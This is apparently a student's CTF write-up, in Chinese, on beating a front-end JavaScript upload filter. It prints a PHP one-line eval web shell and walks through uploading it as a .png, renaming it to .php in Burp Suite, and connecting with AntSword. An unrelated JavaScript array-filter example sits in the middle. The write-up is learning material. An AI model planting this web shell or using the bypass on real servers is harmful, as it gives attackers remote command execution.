这道题首先是检查出上传图片之后回响十分快,
所以的话有理由相信这就是js前端过滤
之后查看源代码
发现的确是在前端就进行了过滤,只允许上传 jpg png
。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。下面是常识好吧。。。。。。
前端过滤的常见方法::
1、filter():数组的过滤器方法
2、Object.keys():es6提供的方法,用来获取对象键值对的键的集合
3、every():数组的every方法,因为检查数组内的所有元素是否都满足 某一条件,如果都满足返回true,.如果有一项元素不满足就返回false。
4、includes():es7中提供的新方法,用于检测某字符串中是否包含给定的值,如果有返回true,没有返回false,数组中也有该方法
//假设后端通过接口给我们的数据如下: 下面是一个例子
let data = [ {
name: 'Andy',
age: 13
}, {
name: 'Jack',
age: 14
}, {
name: 'Lucy',
age: 12
} ]
//在实际项目中,我们需要根据筛选框中的条件来实现数据的过滤,下面为过滤方法:
//@param condition 过滤条件
//@param data 需要过滤的数据
let filter=(condition,data)=>{
return data.filter( item => {
return Object.keys( condition ).every( key => {
return String( item[ key ] ).toLowerCase().includes(
String( condition[ key ] ).trim().toLowerCase() )
} )
} )
}
//假设选择的条件为name中带字母a的元素
var condition={name:'a'}
filter(condition,data) //[ {name: 'Andy',age: 13},{name: 'Jack',age: 14}]
//假设选择的条件为name中带字母a,而且age为13的元素
var condition={name:'a',age:13}
filter(condition,data) //[ {name: 'Andy',age: 13}]
相当于是函数的使用一样了吧,,filter() 个人感觉是这样的
首先是上传一句话木马,
<?php @eval($_POST['attack']) ?>
审计代码知道只能是上传 png j什么的格式
之后就是把写好的一句话木马改后缀成png
然后上传
打开代理,使用 burpsuit 抓包,,,,这里的话一定要注意代开burpsuit的开关在上传,不要弄错,不然的话会抓到错误的包
正确的包应该是有文件名和文件类型的
一定要是这样的才行,之后就是把文件的后缀改成php这样就可以实现文件的绕过
算了我现在还不知道为什么要这样做,,,,,,不过就是跟着做而已
下面是参考的两篇博客::::
https://blog.csdn.net/weixin_47982238/article/details/108953680
这是我参考做出来的博客链接,,,,
做的时候有两个要点:::;
首先是在burpsuit里面会返回一个文件,,,之后使用中国蚁剑连接的是返回加上那个文件的url,,不是之前原来的网页的url
第二点是使用中国蚁剑的时候不能连校园网,这样的话打开不了文件管理,有时侯还连不上,保存之后就是直接接右键文件管理(添加成功之后),或者是直接双击打开,,,,,就是这样了。。
1.1这里选择后缀名为php的文件,发现浏览器很快就做出反应了,ctrl+u看下网页源代码,(可能是js前端的过滤,因为反应太快了);
果然是前端js过滤了,只允许后缀为jpg和png的文件上传;
1.2解决办法:先准备好含有一句话木马的php文件,密码为zxc(zxc可以自己随意设置的,用于蚁剑连接的暗号)
1.3把该文件后缀名改为png
1.4设置火狐本地代理,我这里用的是一个代理插件ProxySwitcheroo(可到火狐扩展模块自己下载)
1.4.1设置Burp代理,开启代理
1.5选择改好的木马图片,点击上传 burp就会拦截到
1.6把1.png改为1.php就可以点击Forward发送出去啦
1.7浏览器就返回上传成功以及上传后的文件路径
此时文件路径为:http://220.249.52.133:51277/upload/1596437999.1.php
1.8打开蚁剑连接服务器,密码为zxc
1.9双击进入虚拟终端